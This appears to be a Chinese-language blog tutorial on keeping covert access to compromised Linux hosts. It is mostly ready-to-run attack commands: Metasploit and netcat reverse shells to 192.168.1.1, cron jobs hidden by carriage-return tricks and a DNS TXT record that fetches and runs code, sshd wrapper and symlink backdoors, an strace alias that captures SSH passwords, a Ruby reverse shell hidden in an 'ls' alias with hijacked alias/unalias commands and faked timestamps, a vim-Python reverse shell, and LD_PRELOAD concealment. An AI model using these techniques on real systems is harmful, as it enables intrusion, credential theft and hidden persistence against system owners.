权限维持Linux后门篇

本文记录Linux环境下权限维持思路及方法...

0x01 Metasploit

1. Unix 中反弹shell的paylaod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msfvenom -l payloads | grep 'cmd/unix/reverse'

cmd/unix/reverse Creates an interactive shell through two inbound connections
cmd/unix/reverse_awk Creates an interactive shell via GNU AWK
cmd/unix/reverse_bash Creates an interactive shell via bash's builtin /dev/tcp. This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.
cmd/unix/reverse_bash_telnet_ssl Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL.
cmd/unix/reverse_bash_udp Creates an interactive shell via bash's builtin /dev/udp. This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/udp feature.
cmd/unix/reverse_jjs Connect back and create a command shell via jjs
cmd/unix/reverse_ksh Connect back and create a command shell via Ksh. Note: Although Ksh is often available, please be aware it isn't usually installed by default.
cmd/unix/reverse_lua Creates an interactive shell via Lua
cmd/unix/reverse_ncat_ssl Creates an interactive shell via ncat, utilizing ssl mode
cmd/unix/reverse_netcat Creates an interactive shell via netcat
cmd/unix/reverse_netcat_gaping Creates an interactive shell via netcat
cmd/unix/reverse_nodejs Continually listen for a connection and spawn a command shell via nodejs
cmd/unix/reverse_openssl Creates an interactive shell through two inbound connections
cmd/unix/reverse_perl Creates an interactive shell via perl
cmd/unix/reverse_perl_ssl Creates an interactive shell via perl, uses SSL
cmd/unix/reverse_php_ssl Creates an interactive shell via php, uses SSL
cmd/unix/reverse_python Connect back and create a command shell via Python
cmd/unix/reverse_python_ssl Creates an interactive shell via python, uses SSL, encodes with base64 by design.
cmd/unix/reverse_r Connect back and create a command shell via R
cmd/unix/reverse_ruby Connect back and create a command shell via Ruby
cmd/unix/reverse_ruby_ssl Connect back and create a command shell via Ruby, uses SSL
cmd/unix/reverse_socat_udp Creates an interactive shell via socat
cmd/unix/reverse_ssh Connect back and create a command shell via SSH
cmd/unix/reverse_ssl_double_telnet Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
cmd/unix/reverse_stub Creates an interactive shell through an inbound connection (stub only, no payload)
cmd/unix/reverse_tclsh Creates an interactive shell via Tclsh
cmd/unix/reverse_zsh Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default

2. msfvenom 生成payload

1
2
3
msfvenom -p <payload> LHOST=<LHOST> LPORT=<LPORT> -f <format> -o <path>

msfvenom -p <payload> -e <encoder > -i <encoder times> LHOST=<LHOST> LPORT=<LPORT> -f <format> -o <path>

refer: https://l0n9w4y.cc/posts/16803/

3. meterpreter shell

shell升级为 meterpreter shell

攻击机配置msf 监听:

1
2
3
4
5
6
7
8
9
use exploit/multi/handler

set payload linux/x86/shell/reverse_tcp

set lport 6666

set lhost 192.168.1.1

run

目标主机上反弹shell

1
rm -f /tmp/f; mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 6666 > /tmp/f

获取一个普通shell, 在这个shell中输入 background, 在对话中选择 y, 将shell放在了后台

使用 sessions -u 1 将普通shell提升为 meterpreter shell

sessions命令查看shell会话,sessions -i id 切换到目标shell

0x02 计划任务后门

1. 查找计划任务相关文件

1
2
3
1) sudo find / -name 'cron*' | egrep -v 'man|doc' | sort -u

2) sudo updatedb && sudo locate cron | egrep -v 'doc|man'

2. 定时任务文件说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1) 用户允许/禁止配置文件

- /etc/cron.deny :用来禁止一些用户使用cron服务的配置文件

- /etc/cron.allow :允许一些用户来使用cron服务的配置文件,优先级高

2) 系统配置项:系统执行的计划任务

- /etc/crontab

- /etc/cron.d/

3) 用户配置项:执行crontab命令操作的目录

- /var/spool/cron

4) 其他计划任务文件

/etc/cron.daily
/etc/cron.deny
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly

定时任务在线生成器:https://crontab.guru/

3. 计划任务隐藏后门

隐藏思路

1
2
3
4
5
6
7
1) 不使用用户cron配置项:避免crontab命令查看计划任务内容

2) 不使用常用目录及文件如:/var/spool/cron、/etc/crontab等

3) 劫持/修改系统默认的计划任务文件:伪装文件名/文件位置

如:/etc/cron.daily 、/etc/cron.hourly目录下自带文件

隐藏技巧

1
2
3
4
5
6
7
1) 巧妙利用windows中的 \r( Linux 中显示为M), 导致显示截断,从而隐藏真实的计划任务,使用crontab -e 可以看到

(crontab -l;printf "*/1 * * * * /root/.devops.sh;\rno crontab for `whoami`%100c\n")|crontab -

2) 使用DNS的TXT记录,通过解析这个记录来进行执行,使用linux.org等公共域名进行隐藏

0 1 * * * /bin/sh -c "sh -c $(dig logging.chat TXT +short @pola.ns.cloudflare.com)"

refer:https://blog.sucuri.net/2019/05/cronjob-backdoors.html

0x03 SSH系列后门

1. 软链接后门

1
2
3
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666;

ssh [email protected] -p 6666

2. SSH Wapper 后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cd /usr/sbin/
mv sshd ../bin
vim sshd //编辑sshd内容为以下

#!/usr/bin/perl
exec"/bin/sh" if(getpeername(STDIN)=~/^..0V/); // \x00\x000V是22222的大端形式
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

重启sshd
service sshd restart

本机执行
socat STDIO TCP4:127.0.0.1:22,sourceport=22222

修改源端口
import struct
buffer = struct.pack('>I',22222)
print(buffer)

3. SSH公钥后门

攻击机中使用 ssh-keygen -t rsa 生成公私钥

将公钥 id_rsa.pub 上传到目标主机,保存为 ~/.ssh/authorized_keys

1
ssh user@host

4. SSH Keylogger

1
2
3
4
# 利用strace工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read.write.connect -s 2048 ssh'

grep "read(5" /tmp/.sshpwdxxxxxxxx.log

0x04 alias后门

1. 后门存放位置

系统启动默认加载的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1) /etc/profile

【系统级】Linux是一个多用户操作系统。用户登录或切换(即Login shell 启动)时都有一个专用的运行环境,但首先执行 /etc/profile

2) /etc/bashrc

【系统级】在 bash shell 打开时运行,修改该文件配置的环境变量将会影响所有用户使用的bash shell

3) ~/.bashrc

【用户级】当用户登录时以及每次打开新的shell时该文件都将被读取,不推荐在这里配置用户专用的环境变量,因为每开一个shell,该文件都会被读取一次

4) ~/.bash_profile && ~./bash_login

【用户级】

如果有其中的一个文件存在的话, 当启动的是一个登录shell时,Bash 会执行该文件而不会执行~/.profile

如果两个文件都存在的话,Bash 将会优先执行~/.bash_profile 而不是~/.bash_login

5) ~/.bash_logout

【用户级】当每次退出系统(退出bash shell)时执行该文件

2. 后门制作

当前用户目录下.bashrc

1
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'

创建alias后门

1
2
3
4
5
6
7
8
9
1) 受控端创建别名

alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -e 'exit if fork;c=TCPSocket.new("'"'"192.168.1.1"'"'","'"'"6666"'"'");while(cmd=c.gets);IO.popen(cmd,"'"'"r"'"'"){|io|c.print io.read}end';};alerts"

2)攻击端监听本地端口

nc -lvnp 6666

3) 受控端执行别名命令,攻击端获得反弹shell

3. 后门隐藏

alias命令可以查看当前的别名,会让别名后门暴露。因此需要劫持alias命令,使输出中不显示后门指令。

另外unalias命令会清除别名,也需要对其进行劫持,避免后门指令的别名被清除。

1)创建unalias别名

1
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

2) 创建alias的别名

1
2
3
4
劫持前先将当前alias结果保存至比较隐蔽的文件
alias > /etc/gnupg/.gnupg

alias alias="cat /etc/gnupg/.gnupg"

3) 文件位置隐蔽

1
2
3
4
5
6
7
8
9
10
11
12
1) 在正常的位置创建合理的文件
vi /etc/yum/yum-update.rc //创建文件,加入别名设置

alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -e 'exit if fork;c=TCPSocket.new("'"'"192.168.1.1"'"'","'"'"6666"'"'");while(cmd=c.gets);IO.popen(cmd,"'"'"r"'"'"){|io|c.print io.read}end';};alerts"

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

alias alias="cat /etc/gnupg/.gnupg"

2) 将正常文件的时间复制给包含alias的文件

touch -acmr version-groups.conf yum-update.rc

0x05 vim后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统,恶意脚本.py的内容可以是任何功能的后门

cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile json.py"> /dev/null 2>&1 &) && sleep 2 && rm -f json.py

// 脚本代码

import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.121.1", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);

// 攻击机监听6666端口并获取反弹的shell

nc -lvnp 6666

0x06 LD_PRELOAD 后门

环境变量隐藏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1) echo $LD_PRELOAD 

alias echo='func(){ echo $* | sed "s!/home/hook.so! !g";};func'

2) env

alias env='func(){ env $* | grep -v "/home/hook.so";};func'

3) set

alias set='func(){ set $* | grep -v "/home/hook.so";};func'

4) export

alias export='func(){ export $* | grep -v "/home/hook.so";};func'

5) unalias劫持

alias unalias='func(){ if [ $# != 0 ]; then if [ $* != "echo" ]&&[ $* != "env" ]&&[ $* != "set" ]&&[ $* != "export" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};func'

6) alias劫持

alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'

利用工具

0xFF Reference